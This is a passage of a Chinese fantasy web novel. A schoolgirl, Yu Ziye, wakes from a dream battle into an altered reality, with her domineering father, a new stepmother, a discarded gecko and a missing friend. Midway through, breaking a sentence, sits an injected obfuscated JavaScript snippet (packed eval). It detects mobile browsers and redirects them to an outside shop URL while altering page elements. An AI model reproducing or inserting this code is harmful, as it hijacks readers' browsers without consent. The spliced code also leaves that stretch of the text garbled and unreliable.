丹木道:“啧啧,好生残忍,把这呼哧喘气的孩儿留在外面,也不知是先被魍魉啃死还是先被涌潮淹死,哦对,最大的可能是被我师父的真火烧死。” 观音昂起头哈气:“火克尊,你别再吓唬他了!” 丹木道:“吓唬?哪里是吓唬?你对哪一种死法有异议?算了,既然水力尊没有好生之德,那这个孩子我护着了。孩儿别怕,一会儿打起来有本尊罩着你。” 敲雪道:“不可。” 丹木:“啊?” “起潮后,我会腾一条水蛟在西侧上空,你需从内侧攻它,待我传音你再撤。” 丹木立刻明白过来。敲雪是要它在西侧的钱塘城上空制造出海雾、刻意诱导,让扶枢院的神兵以为敲雪在隐藏他们行迹。实则那大雾之下只有一条水语芥化成的水蛟,而她会在黑暗和大雾的掩护之下利用东边引来的潮水和北侧水道中通过的潮头,为盐官镇构造出水语境。 丹木还想再说什么,敲雪已飞至茫茫沙地上空。 它只得叹了口气,从乾坤袋里掏出个东西拢住戴天航:“对不住了孩儿,我们火语者比较特殊,无法像水力尊那样将自身魂语芥分给别人用。这玩意儿是味儿有点重,不过普通的魍魉攻击应该还是能撑一下的。你自求多福吧!” 丹木说完便往西天飞去。 于子夜看戴天航在那层乳白色的半透薄膜内直皱鼻子,问观音:“那是什么东西啊?” 观音为难道:“那个……是精卫的……蛋。别误会!水蛋,没受精过,嗯……放了几百年,可能是有点味道,但其实很干净的!” 守宫又道:“别看我!我也不知道为什么火克尊的乾坤袋里会有火真尊的蛋但他们师徒二人绝绝对对是清清白白干干净净的!”< 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速度快得惊人,如坠星流弹。于子夜只觉得耳膜要被那风压撕裂。 不断逼近的热焰直叫她浑身皮肤都要炸了,她本能想撤手扔掉那巨石,却因敲雪设下的禁制动弹不得。 巨鸟从天而降,周身烈焰吞掉了天地间所有阴影。 眼看精卫就要撞向地面,她却丝毫没有减速。触地前一瞬,一对金色巨爪从她腹羽中弹射而出,趾间的关节如同满弓,悬停刹那一勾一拢,便腾空而去。 “啊!!!” 金光太过灼目,于子夜片刻后才勉强能睁开眼,眼前仍是被强光灼过后滞留的、一片令人眩晕的血红。 方才精卫是敛翼俯冲,此刻她振翅远去,于子夜才看清,那火鸟翼展惊人,以至于人双目所及尽溢满火光。 下一秒,麻意从她尾椎蹿起,瞬间爬上头皮—— 精卫的双爪间抓着一个卵形的东西。 那不断远离、半透明的卵被火光照彻,里面赫然是一个人形! ……戴天航!!! 守宫从她校服领口爬出来,望着远去的神鸟,颤声道:“……有的鸟类,是不是也像我们爬行类一样,会……护蛋来着?” 于子夜:…… 于子夜:“能让那根铁棍山药回来给我朋友偿命吗?” 观音吐出粉色的小舌头舔了添她侧颈:“神尊……您也别太担心,说不定,说不定……火真尊只是把您朋友当成了她没孵出来的雏鸟……” 此刻西天早已水火相碰,响作一片,那蛟龙于迷雾中上下翻腾,搅得于子夜心如乱麻、五脏翻覆。 不远处,潮头如白练横江,迎面推来,更远处的极东边,一道半透水墙已暗暗弧状升起,似乎要在上空四合成一个巨大的水膜,把整个世界都扣将进来。 精卫的锐啸再度传来,脚下大地震颤。眼看火箭乱飞,万箭齐齐朝那水蛟扎去,于子夜知道西边已经开打了。战火大概很快就会烧到这边来。 ……再不做决定就晚了。 她朝着领口插着的那片金色树叶努了努嘴,问肩头的守宫:“你刚说这树叶上面有她的魂芥,这是什么,怎么用啊?” 观音大喜,心道这小神尊终于放弃幻想,准备斗争了!不愧是天语石选中的“后”! “此物名为扶桑叶,是语者出任务时,连在芥球与风露版图之间、供语者召唤扶桑之路的身份证明,语者会将自己的一部分魂芥附于扶桑叶的叶脉上,每名语者只有一片,如果丢了补办很麻烦……” 哦,差不多就是ID卡。于子夜道:“这部分省略。我想知道,如果要发挥出它最大的力量,该如何?” “唔,这是水力尊的扶桑叶,但她……我们现在是叛徒,已经没法用它召唤出扶桑之路了。不过上面既然附着了她的魂语芥,您应该能用她借给您的力量,调用石语芥干任何您想干的事,只要您想。” “只要我想?”于子夜不解,“……任何事?” “对呀,所谓‘语者’就是以自身‘语力’征用‘语芥’,但凡世间言语表达,无关物种,都是想象的魔法嘛!” “我不懂。” “语芥有水、火、气、石四种,是构成语境的基本元素,更是四种能被万物所表达的公共语言,所以才能被任何物种的‘语者’所征用呀。语者征用语芥的过程,也就是语者征得四语芥的同意、让它们愿意为自己的力量与心念所调动、役使的过程。您是石语者,就是用石头进行表达的人。” “不过您这才刚刚开始,能想到的,凭自己不一定能做到,但现在您手中有水力尊的语芥呀!她可是如今风露版图最强的水语者,超强的!” “……我是这个世界的‘石语者’?” “对,您出生在‘彼钱塘’,那个中千芥就是您天然的原生语境,‘此钱塘’这个小千芥自然也不例外——即使它本身并没有独立的语境。您是石语者,理论上来说可以征用此地所有的石语芥——沙子、泥土、石头、金属……都可以!” 于子夜思考半晌,道:“我想帮她,能不能帮我把手上的禁制解开?” 观音有些犹豫,毕竟敲雪是上级也是长辈,不能逾令。可现在是非常状况,她侧着脑袋想了想,见于子夜神情无比坚定,便道:“好。” 禁制一松,于子夜顿觉肢体松快,她动了动手腕,双手又是她自己的了。她从校服领口摸出那枚扶桑叶。 守宫眨了眨圆溜溜的黑眼睛,好奇她接下来要做什么。 下一秒就听她低声道:“对不起。” 观音还没反应过来,只见一樽玄铁巨物破空飞来,瞬间撞破了这经过精卫真火一烧、早已是强弩之末的水语境——是那海塘边卧着的镇海铁牛! 观音惊骇大喊:“神尊不行!潮头还没来!” 数座小山似的巨石自半空脱手落下,訇然巨响,山崩般牢牢卡进了地裂之间。 变故猝不及防,观音大惊,飞出水伞去兜,却已经回天无力。 “我一直是个胆小鬼。我想醒了。”于子夜说。 既然是梦,等她梦醒了,戴天航自然也会醒来。她不想当英雄,更不想活在一个会有人莫名其妙被神兽和怪物杀死的世界。 “——神尊不要!!!” 于子夜将手中的扶桑叶“嗤”地一声撕了。 地裂底部凭空迸开一道雪白刺目的裂口,像闪电从谷底爬出。 丹木正在高空击打水蛟制造海雾,忽然听得地裂方向一声巨响,它闪身躲避精卫火羽箭的间隙传音给敲雪:“你看看!我就说那瓢不行吧?你这是白折了多少年修为进去?” 敲雪在一片爆破声中回音:“本来也没指望她。” 丹木:“哦。” 丹木:“等等,你不会也没指望我吧??!” 突然,传音断了,丹木听不到任何声音,像是这小千芥内所有语芥都瞬间缄默了一样。 丹木:“回话!!!!澹台敲雪,回话!!!!” 7. 离梦魇拉捋自毁坏 陷尘劫群轻可折轴 于子夜猛然惊醒。 视野中央的圆片晃了晃,虚影攒聚成一个环,是卧室的天花板顶灯。 阴恻的感觉还扒在后颈,像一只吸人气力的毒虫,叫人脱力。 于子夜忍着眩晕掏出手机,日期是周六上午,时间是八点三十。健身房的小程序跳出“课程将在两个小时后开始”的提醒。显示她预约的那节私教课还没有消。 果然一切都是梦! 劫后余生的庆幸涌上心头,不真实感却尚未消退。于子夜又想到了什么,伸手够来校服,把两个口袋都翻了过来,没有昨晚吐出的那枚玉印。 竟从那个时候开始就是梦。 她倒回床上,长舒了一口气,重新闭上双眼。 枕头边传来一阵极轻的窸窣响动,像有人在轻轻碾搓指腹。于子夜一偏头,对上一双黑豆似的圆眼。 粉紫鹅黄相间的守宫撑起上半身,45度角抬头看着她,喉头如风箱剧烈鼓动着,爪子下踩着被她撕成两半的金色树叶。 于子夜大叫一声滚走。 滚得太猛,直接跌下了床。她瘫在地板上,心跳隆隆擂着太阳穴,裹着被子回了半天神,小心翼翼地攥着被子蛄蛹两下,探出头。 守宫在床沿探出脑袋歪头看她,差点和她撞在一起。 “啊!滚啊!!!” 于子夜猛缩三尺远,把门口的衣架撞得倒了下来,直直向床沿砸过去。守宫转身撤离不及,直接斜跳过来闪避。 这一下直接扒在了于子夜脸上。 于子夜:………… 门口突然传来一阵脚步声。于子夜也不知道哪来的勇气,一把拽着守宫的尾巴把她扯下来塞进被窝里。 门开了,父亲梳着向后的油头,西装笔挺地站在门口。 于宙狐疑地看着裹着被子瘫坐在地的于子夜和倒在窗沿的衣架:“……闺女,刚才是什么动静?” “……爸,你怎么突然回来了?” 于宙愣了愣:“我不是昨晚就回来了吗?” 昨晚?于子夜懵了。 昨晚不是她吃饭的时候吐出玉印……对哦,那也是梦。可既然那段记忆是梦的话,为什么她对父亲突然回家的现实却毫无印象呢? 于子夜压下心中困惑,试探问道:“……大伯父和大伯母呢?” 于宙的神色更奇怪了:“昨晚不是和你说了么?之后他们就不住我们家了。他们今天早上就收拾东西走了。” 他环视了一圈于子夜的房间,带着一种审视品评的目光:“你房间里不要的旧东西也收拾收拾,把不要的书都捡出来扔了,下午有人来收废品,明天开始房子要重新装修一遍。” 他避开于子夜的眼神,望着窗帘宣布:“你的继母和弟弟过几天就搬进来。” 于宙揉着腕间大粒的紫檀佛珠手串,换用一种屈尊俯就的补偿语气低声说:“闺女,以后爸爸常驻钱塘,尽量少出差,多在家里陪你们,好不好?” 于子夜没回话。于宙身上的烟味一点也不屈尊俯就。于宙盯着她,缓缓蹙起了眉。 小臂内侧贴上个软软的东西,像凉布丁,然后是略带刺挠的触感,是守宫的腹部蹭过,小爪子踩在她埋着静脉的皮肤上,提醒她此时不宜与父亲多纠缠。 “知道了。” 于子夜妥协,和此前的无数次一样。 于宙满意地点了点头,关门走了。 脚步声远去,于子夜一把掀开被子,守宫躺在她的小臂上,对她吐了吐粉色的小信子,看上去蜥皮笑脸。 “行。很好。要是那些鬼东西不是梦的话,告诉我为什么你会在这里?!” 守宫扭了扭漂亮的肥尾巴,似乎觉得手臂爬起来不得劲儿,跳到于子夜的大腿上,爬了几个来回,又跳回床上,围着被于子夜撕成两半的金色扶桑叶片快速爬来爬去。 守宫不停地张阖嘴巴,看上去十分焦虑、很想说话,却只发出“咕咕”的声音。 “你不是会说话么,哑了?” 守宫抬起头,于子夜居然从那两只水汪汪的圆眼睛中看出了委屈。 还真哑了。 于子夜脑袋里一团乱。 先不说父亲怎么突然回来、凭空多出了什么继母和弟弟、赶走了大伯父大伯母,单是梦中的会说话的守宫出现在现实里却哑巴了这一件,已经足够她消化半天。 于子夜很确定自己的身体里没那么多消化酶。追根究底是不可能了,她决定冷处理,继续蒙头过日子。 手机拍照识图显示,这胖胖的小家伙是一条肥尾守宫,环境温度要三十度左右,吃蟋蟀。于子夜看到蟋蟀两个字已经浑身发怵,决定上完健身课就找个花鸟鱼虫市场把她赔钱送走,彻底和那个噩梦说拜拜。 她打开暖空调,不由分说地把拼命挣扎的守宫塞进了一个塑料打包盒里,戳了几个孔,盖了张湿毛巾上去,说:“呆着吧,我一会儿回来就给你找下家。” 守宫张大嘴巴“嘶嘶”地叫着,在盒子里十分不灵活地上蹿下跳,以示抗议。 于子夜把校服罩在盒子上,转身就走。 为了尽快将自己从噩梦中抽出,她第二次上了她的“第一节”健身私教课。 与记忆中不同的是,今天是一位男教练上的。她向店长询问着那位女教练的情况,店长一脸困惑,表示店里从来没有这么一位女教练。 今天倒是没砸到脚,但上课的过程更难熬。男教练的身上有一股刺鼻的味道,像消毒水和动物尿液混在一起,于子夜觉得自己再呼吸一次就要晕过去的时候,终于结束了。 或许是她亟需去公园透透气,又或许是出于一种难抑的触摸真实的冲动,于子夜掏出了那张社团宣传单,心开始突突地跳起来。 从醒来就惴惴不安的另一件事——戴天航。 她掏出那张被折成纸豆腐的社团宣传单,扫了“联系社长”的二维码,系统显示错误。她又输了一遍ID号码,系统显示查无此人。就连群聊二维码和群号也显示没有该群。 于子夜打开四个教改班的联谊群,群里人数没变,她翻遍了群成员,也并没有一个叫“戴天航”的人。 不安与狐疑翻涌上来。在能用理智判断自己究竟在做什么之前,于子夜已经坐在了去六和塔的出租车上。 今天景区内倒是和寻常的休息日一样游人如织,走到塔基,于子夜愣住了。 眼前的六和塔比记忆中一下矮小了许多——定睛一数,竟然凭空少了两层! 她是不敢再进塔,只好去塔边的博物馆。馆内各种介绍都写明六和塔是明七暗六共十三层,可是于子夜明明记得内部是九层而非七层。 于子夜又从六和塔打车回家,不知为何,今天打车的路途似乎近了许多,途径虎跑路时甚至没有熟悉的上下坡了。 “师傅,今天抄近道了吗?”她问。 “没啊,一直这么走的。” 于子夜打开手机地图一看,之江自南向东拐弯后,宽阔的江道平直向东,钱塘江在城内屈曲的流段竟全然消失无踪! 她又看看窗外—— 月轮山东侧的群山全部消失了,城东的高楼林立于平原之上,再往东的江面更加开阔,看上去直接流入海口! 现在现实倒更像是梦境了。 于子夜浑浑噩噩地回到家,客厅里堆了一大堆旧家具,都是她从有记忆起就在这座房子里的,上面留有妈妈的影子和声音。 搬家工人正在家门内外进进出出,把旧的往外搬,新的往里送。 于子夜突然警铃大作,冲到三楼。 房间的门开着。 空调已经关了,校服像一层蜕下的死皮摊在桌上,塑料盒不翼而飞。 于子夜的手不受控地抖了起来,一转身,父亲悄无声息地站在她身后,影子又长又宽地罩在走廊上。 “……我的壁虎呢?”于子夜声音发颤。 “那只四脚蛇吗?”于宙满不在乎地说:“我让那干活的扔了。以后那种恶心的东西不要带进家门。” 于子夜拼命憋住五味瓶一样冲上来的情绪:“你扔哪里去了!?我会马上把她送走的!不……我这就把她送走!” 于宙侧了侧头,抬起下颌,瞥向楼下回收站的垃圾桶:“养这种东西的都是怪胎。赶紧送走,别让人看见。” 于子夜趿着拖鞋就冲了下楼。 现在是冬末春初乍暖还寒时候,外面只有十度左右,守宫那么畏寒…… 于子夜抖着手在几个巨大的垃圾桶里挨个翻找。她个子矮,垃圾桶到她胸口,她几乎是把上半身埋进去,搬起废旧的鱼缸、掏出发臭的厨房垃圾、拎起汤汁淋漓的外卖餐袋。 直到碎发和袖口都沾满油污,双手又脏又滑、冻得发僵、被划得满是伤痕,再也握不住任何东西,于子夜一屁股坐在那些被翻出的垃圾山上崩溃大哭。 不知是不是因为用“众生眼”见过那守宫人形的样子,又或许只是物伤其类,她哭得很伤心。 观音被扔掉了。 一个在梦中出现的,胖胖的,害羞的,小生命,就这样被父亲毫不在意地处决和抛弃了。 那天晚上于子夜用热水一遍一遍地冲洗自己的身体,直到僵硬麻木的四肢逐渐恢复知觉,她想到,就像父亲曾经命令妈妈打掉的那个小孩一样,被随手抛弃的小生命。 她突然有点庆幸自己拥有这种会导致怀孕困难的疾病—— 不会有一个生命从她的身体里出来,然后被勒令抛弃。她功能失常的卵巢帮她断绝了这种残忍的可能性。 这是一个没有睡眠的周末。 父亲的主卧在二楼,和她隔着一层楼板,他极大声地打电话,极夸张地斥骂下属,极体面地邀约饭局,最后是和一个女人。 那一声声轻亵的笑闹像往于子夜心里戳着一根根鱼刺。 事业上的成功似乎能成为一位男性人生中其他一切失败的遮羞布。 父亲这种事业有成却从未好好履行过父职的男人,往往人到中年,不知怎的便会对父职产生一种近乎刻舟求剑的执念。她听着楼下的动静,心想—— 否则为什么有权势的男人总是连“father”都没做好却着迷做“daddy”。 半夜,或许是抽了太多烟,父亲咳嗽声大如雷,咳一声就把于子夜从梦中吓醒一次。清晨,父亲起床便开始撕心裂肺地咳痰,又把她惊醒。 于子夜的心在那咳嗽声中发颤发悸,她想,总有一天父亲会把内脏都咳破——不是他自己的,而是她的。 餐桌上的花瓶被换成了烟灰缸。母亲放在书房里的英文原版书全部不翼而飞。就连冰箱里于子夜爱吃的H牌冰淇淋全部被清扫一空,换成了父亲公司的那个冰淇淋品牌——这两个牌子是竞品。 于子夜非常讨厌父亲做的那个品牌的名字——B&BF,“Beauty and Beloved Fantasy”,和那款冰淇淋口味一样甜得腻人。 短短一个周末,父亲的痕迹暴风雨一般席卷了家里的整个角落,于子夜前所未有地清晰认知到,这里从来都不是她的家,只是父亲的房子。 好容易捱到周一,她困倦不已,捱过上午的主课,终于到了历史课。上课铃响,走进教室的却不是祁潇骁。 代课老师叫陈碧海,于子夜认识。她是曹玫的闺蜜,经常在办公室传祁潇骁被人包养、小三上位的那位。 陈碧海把课本耷在讲台上,面露得意地宣布:“祁老师怀二胎了,生孩子会耽误你们。虽说你们是理科教改班,历史不是主修,但会考进度不能落,年级组长已经安排了,以后你们和三班的课都由我来代。” 怀孕?怀二胎? 于子夜脑子里一团浆糊。 祁潇骁和她闲聊时,每聊起儿子,都带着一种苦涩而又甜蜜的表情说她再也不想生小孩了。于子夜不明白为什么当了母亲的女人都会露出这样的表情。祁潇骁经常把儿子接到办公室来写作业,却从来没和于子夜提起过她的丈夫,有关那个男人的只言片语,都是于子夜从她儿子和那些流言口中拼凑出来的。 祁潇骁在教研和教学上一直都很有上进心,去年参加了很多省国级的教学比赛,显然是不想放弃争取年级组长的。 直觉告诉于子夜,祁潇骁不可能在这种时候选择怀孕。 而且,上周五还没有任何消息,怎么她一怀孕消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509625|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息就会被同事知道、被替掉教改班的教学职务呢? “课代表是哪位?”陈碧海问。 于子夜坐着说:“是我。” 陈碧海睇着于子夜,很不爽她坐着回话:“行,麻烦起来帮我把黑板擦了。”“起来”二字咬得很重。 于子夜走到讲台后面拿起板擦,她个子矮,吃力地垫起脚,在众目睽睽下艰难地擦一黑板的公式计算板书,陈碧海开始照本宣科地念PPT。 上完一天的课,于子夜实在忍不住了,走到教改三班的后门,轻声叫出了坐在最后一排埋头刷竞赛题的一个同学。 “戴天航?从来没听说过这号人。” “就是……这个学期刚从毗陵转学过来的那个瘦瘦白白的男生。”于子夜还不死心。 那同学用看神经病的同情眼神看着于子夜,继续埋头刷题去了。 于子夜打开手机,消息记录还停留在上周五她发出去的那条要帮忙看摊没办法去找她的道歉,祁潇骁没有回复。于子夜又给她发了条信息,按熄了屏幕。 周二,戴天航还是没有来学校,祁潇骁也没有来上班。 于子夜腆着脸问身为学生会干部的班长要了一份今年的社团招新摆摊名单,并没有“观潮社”。她又猫着嗓音问班长,招新那天一共收到了几份学生会报名表。 “报名表不是你收的吗?” 班长打量着于子夜,那眼神就好像她身上的教改班服不是班里统一发的,而是她偷的抢的。 “我想确认一下……我怕漏了。” 班长十分不耐烦地掏出文件夹,甩给于子夜。 一共三张,没有戴天航那张。 可于子夜明明记得她把戴天航的报名表插进去了。 回到家,于子夜来不及做作业,开始在网页搜索戴天航的名字。同名的人太多,她又搜了“戴天航毗陵”,首页跳出一条标题名为“毗陵一中学子荣获省物理竞赛一等奖”的链接,点进去,是毗陵一中的官网,里面赫然有一个“高二(1)班,戴天航”,日期是两周前。 戴天航之前说自己已经在毗陵读完了高一,是降转过来的。可是这个网页的内容,明显他此时正在毗陵一中读高二。 戴天航根本没转学过来?? 于子夜拿出那张快被折烂的宣传海报,和那个古怪的温控PP夹。如果戴天航根本没有转学过来,那给她这些的又是谁呢?她在梦中遇到的那个脸上有淤青、想办法和她一起走出梦境、被精卫抓走的戴天航,又是谁呢? 根本没办法解释。 只有一种可能——现在她并非在现实,而是在另一重梦境之中。 但是玉印又确确实实不见了——《盗梦空间》里不是得用“骰子”这种梦中才会出现的符号检验是不是梦境吗?玉印就是她的“骰子”,“骰子”消失,代表梦醒了。 更何况,这个现实中虽然各种事情都急转直下,但现实本身并没有出现任何违背物理学原理和逻辑的事情,真的不像是梦。 正想着,楼下大门开了,传来父亲和一个女人对话的声音。 “……什么,他不肯过来?再问问呢,一个人留在那儿怎么照顾自己?”记忆中,父亲很少听起来这么温和体贴。 “劝过了,他怎么都不肯,说是很喜欢那里的老师同学……就让他先住在……”女人的声音比免提电话里听起来还要年轻。 “那怎么行?你前夫找他麻烦怎么办?”父亲真是演技拙劣,听上去一点儿也不担心。 女人叹了口气,低声道:“……回头再说吧,那孩子看起来好说话,但做了决定的事很难说动他,这事只能慢慢来……” 于子夜下到二楼栏杆上,刚好对上那女人抬眼的目光。 好漂亮的一双杏眼、两弯柳眉,于子夜心想,这女人的五官和身段看着真年轻窈窕,就是眼下两道泪沟明显,否则带出去真可以当父亲的女儿了。 见于子夜的目光探寻着身后,女人先开口了:“小夜,我是叶阿姨。” 她微笑起来眼角眉梢略见些细纹,于子夜无端地想,不知道妈妈的脸上现在是不是也有皱纹了。 女人又说:“你是在找弟弟吗?他在另一个城市上学呢,暂时不能过来和我们一起住。不过,你们年龄相仿,应该有很多共同话题。” 原来“弟弟”是这女人和前夫的小孩。父亲几年不回家,于子夜还以为他这次会带回来个婴儿或者幼儿园年龄的小孩。 父亲用一种当家人的口吻说道:“子夜,下来和你叶阿姨打个招呼,以后就是一家人了。” 于子夜走下来打过招呼,父亲硬是要她拿出手机,当着他的面存了叶阿姨的电话号码、加了好友,说晚上定了钱塘最好的江景米其林的位置,一起去吃饭。 于子夜推辞说作业写不完了,叶阿姨立刻说,那让小夜在家里写作业吧,等周末再聚。 父亲一脸克制的怒容:“你都钱中教改班了,一天作业不写能怎么?还能考不上家门口985?” 于子夜淡淡地说:“我可以考得更好。” 父亲咳了一声。于子夜知道他不会想在叶阿姨面前和女儿争执、丢脸。果然,父亲换用一种讲正事的语气沉沉地说:“你将来是要跟爸爸学着做生意的,整天和你那些做题家同学一样想着写作业考试未免格局太小!今天叶阿姨第一天来家里,听话!” 于子夜在心中说,你这不是给自己找了个儿子么,有继承家业的需要在外面多生几个,何须假惺惺冠在我头上? 又转念一想,父亲以前从来没说过要自己跟他学做生意,想来这话多半是特地说给这位叶女士听的,敲打她和她儿子别想着觊觎他的家财。 她说:“我胃痛。” 叶阿姨挽住于宙的胳膊,讨好地笑着,低声说:“老于,真的不需要,让孩子在家里歇着吧。”她伸手去够于宙放在鞋柜上的车钥匙,露出一截白皙如纸的手腕。 于宙还要发作,叶阿姨对于子夜笑了笑,拉着于宙快步出了门。 房门在眼前阖上,偌大的房子只剩下于子夜一个人静静站在门口。 她看到叶阿姨手腕内侧爬着几道蜈蚣一样深肉色的伤痕。 8. 惊貌肖故人成异客 返黄粱鬼影作雪身 周三,于子夜抱着收上来的历史作业去办公室,门是开的,祁潇骁的座位仍然空着。 “……这种家庭生男和生女奖励的应该不一样吧?我听说她生儿子的时候,她婆家奖励了江滨一套房。” “房产证上是她名字?” “怎么不是呢?她现在都不回湖边那套别墅住,带着儿子两个人住江滨,肯定是给她的。你想想看,湖边那个大别墅,她老公在外面包的小情人也要住的哇。” “哎,所以说,学历高又怎么的?我看她还想和曹姐争年级组长的,也就在我们面前装装事业女性的样子吧。哪个年纪轻轻的事业女性会嫁个比自己大十几岁的大老板啊?普通人辛苦工作一辈子,还没她的肚子值钱。” “她老公有钱,不缺美女,也不缺肚子。她本来自己上位就不干净,不趁着年轻多来几胎多赚点,被更年轻的小姑娘鸠占鹊巢,想想多不合算!” “她每天花枝招展的,自己也不是个老实的,我看和她家那位半斤八两。说实话,孩子还不一定就是她老公的……” 于子夜进来,陈碧海和其他几位老师笑着没动,都看着她。 祁潇骁以前经常请于子夜来办公室聊天,给儿子买的饮料零食也总有她的一份,几个老师都眼熟她。 于子夜被那几双眼睛盯得嗓子鼓噪,沉默地走到陈碧海面前,放下卷子就走了。 她一出门,整个办公室爆出愉悦的笑声。 于子夜掐着手心,觉得自己转身逃跑的样子像一个懦夫。 不,就是一个懦夫。 祁潇骁不是陈碧海她们口中那样的人。祁老师对自己这么好,她完全应该替她说话,但面对那些老师,她就是不敢,只能一言不发地逃走。 如果说,事业上的成功能成为一位男性人生中其他一切失败的遮羞布,那感情或家庭上的瑕疵就足以将一个优秀体面的女性永远钉上耻辱柱。这究竟是为什么呢? 其实于子夜并不很清楚祁潇骁的家庭情况究竟如何,但心中就是替她感到愤怒和不公平。 “于子夜。” 身后突然有人叫住了她。是曹玫。于子夜心里一悸,不知道她今天又要找自己什么麻烦。 谁知曹玫挂着一张白蜡脸皮笑呵呵地走上来,伸出手搭在于子夜肩头,于子夜被她一碰,当即浑身汗毛直竖,退开一步。 曹玫涂满口红的薄唇一抿,面露不悦,但还是很快恢复了笑脸:“最近要评省市级三好学生,年级组让我负责名额。你们这一级教改班的学生四大竞赛奖都还没出来,没必要费这个精力去准备材料什么的——我记得你的什么英语演讲、辩论、作文之类杂七杂八的奖不是很多吗?别人没空搞这些东西,这个名额就给你吧。” 难怪她这么开心。人逢喜事精神爽,祁潇骁怀孕了,年级组长当然是曹玫的了。 但于子夜还是百思不得其解。省市荣誉这么好的事情,怎么会破天荒地落到她手上?曹玫平时不是很看不惯自己的吗? 她说:“曹老师,谢谢,不过您给别人吧。我不想要不属于自己的东西。” 曹玫鲜红的嘴角向上扯开,皮笑肉不笑:“说是你的,就是你的。拿着就是了。好好回去准备材料。” 说完,她拍了拍于子夜的肩膀,意味深长地走掉了。 回到家,父亲和叶阿姨坐在客厅里。父亲示意她到沙发上坐下,问:“今天你们班主任找过你了?” 见于子夜一脸困惑,他接着说:“人性这种东西,你得顺着来。爸爸了解过了,钱中的老师都挺势利的,不过爸爸已经帮你打点好了。你们班主任是叫曹玫是吧?要是她还不识相,她上头的领导爸爸也认识。” “……你……”于子夜瞠目结舌。 这下说通了,原来曹玫突如其来的殷勤是因为收了父亲的贿赂。 于子夜这才想起来曹玫似乎对班上家庭条件好的同学总是格外客气,家庭条件一般的住校生,她几乎从不过问。这样的贿赂,她过去也不知道收了多少。 但于子夜更想知道,父亲怎么会突然转性,了解起她的学校和老师来——这完全不是他一贯的作风。 “爸爸今天请你们校领导吃饭,了解了钱中的基本情况和国际部。爸爸觉得,其实你也不一定要在国内念大学,现在转到国际部准备出国,念那种四年就能拿到研究生的连读项目,出去历练几年再回来学着接班,也来得及……” 于宙越讲越兴奋,但于子夜的思绪已经飘走了,完全听不进他后面说了什么。 出国念大学?那是不是就有机会见到妈妈了? 心中被埋藏已久的种子开始抽芽,她隐隐地感到期待。 但于子夜也知道,出国意味着需要父亲更大的经济支持,成功的生意人从不做任何一笔无用的投入——这背后意味着自己要继续做一个听话的乖乖女,更意味着要加倍遵从这之后父亲对自己人生的安排。 曹玫的态度转变就是父亲给她尝到的第一个小甜头。 而作为交换,她只需要乖巧听话,只需要让渡自己的个性,这是一笔对她来说稳赚不赔的买卖。父女关系,还是让父亲破天荒做了一笔慈善般的交易,她心想。 “……其实……”叶阿姨开口,拉回了于子夜的思绪:“主要是阿姨和你爸爸也考虑,可能让弟弟也转学到钱中。” 弟弟……转学…… 转学!!! 于子夜猛地僵在原地,直到叶阿姨轻轻拉她的袖子:“小夜,没事吧?” 于子夜看着女人一双水杏眼,两弯柳叶眉,突然吃吃地笑出声。 父亲皱眉,面露不愉:“弟弟也转来,你们俩在学校也是有个伴!你这副表情是什么意思!” 于子夜看了一眼父亲,又看了一眼叶阿姨,看得两个大人都心里发毛了。于子夜道:“你们俩是在毗陵认识的吧。” “这……”这下轮到于宙瞠目结舌了:“你……这不关你的事!” 叶阿姨按住于宙的手:“小夜,我们确实……” “叶阿姨,”于子夜打断了她:“冒昧问一句,您的前夫是不是姓戴?” 叶阿姨的脸色一瞬间凝固了,本就白皙如纸的面容瞬间褪得一点血色也无,连嘴唇也微微发着抖。于宙面色铁灰,“唰”地一下站起身。 “没什么,我乱猜的。”于子夜说。 她背起书包跑上楼梯,丢下客厅里两个面面相觑的大人。 *** 树影敲窗,搅得于子夜心乱如麻。 戴天航是叶阿姨的儿子,行将成为自己异父异母的弟弟,而此时他还没有从毗陵转学过来。 观音的死亡、祁潇骁的怀孕、父亲突然回来、戴天航的身份和经历变化……一切似乎都以意想不到的方式覆盖了过去发生的事情,急转直下。 而这一切,究竟是现实的退行,还是逻辑的错乱? 于子夜想不通,她漫无目的地打开社交软件缓解焦虑。突然,一张封面吸引了她的注意。 帖子的标题是“高中生求助,母亲被jia/bao” 于子夜的主页基本上推送的都是读书或欧美剧相关,很少刷到这种现实求助帖。但是攫住她注意的并不是帖子本身。 封面拍了一张医学诊断书和头部CT图,几个红圈圈出了帖主希望读者注意到的地方,但是于子夜注意到右上角没有裁干净的部位,露出一角形状奇怪的透明塑料。 她急忙打开抽屉,观潮社的PP夹安静地躺在里面,像一个证据。 万幸它没有消失。 于子夜把PP夹举在屏幕旁边,转了个角度——夹子空囊的弧度和露出的那一角塑料一模一样,只是那一角塑料中还没有注油填沙,还是一个空壳。 点进这个人的主页,果然,上一条是分享“低成本DIY温变手作”,写了制作温变机关的步骤,推荐了几个温变材料的商家。 于子夜反应过来。这是戴天航——不,应该是那个“还没有转学过来的戴天航”——用叶阿姨的手机号注册的社媒账号发布的帖子。因为她加了叶阿姨的电话号码,软件才会自动识别到“根据通讯录可能认识的人”推给她。 她返回求助帖,继续滑动图片,脑震荡、肋骨骨折、青紫肿胀的瘀伤,还有一些马赛克的部分,触目惊心。 帖主写道,母亲和父亲很早就离婚了,他被判给母亲。之后母亲又找了新的男友,带着他和男友同居。 于子夜读到这里心头一凛。继续往下读“戴天航”的求助诉求。 ……同居期间男友对母亲实施暴力,造成以上种种,是否可以判定为家/暴?母亲没有收入工作,他和母亲目前的生活开销和住处完全依赖于男友,应该如何权衡?母亲的男友自己有家室婚配,两人在外面同住,是否构成非法同居?母亲下次被打,他应不应该报警;如果不能报警,又应该如何做?…… 有家室婚配……说明叶阿姨之前的这个“男友”不是自己父亲。父亲和母亲离婚之后一直没有再婚。 于子夜竟为父亲的免罪松了一口气,这让她感到无比罪恶。 发帖时间是放寒假前,社媒主页的IP目前显示还是在毗陵,也就是说这个账号目前应该还是戴天航在使用。不知道叶阿姨是否知道戴天航用她的手机注册账号发帖。 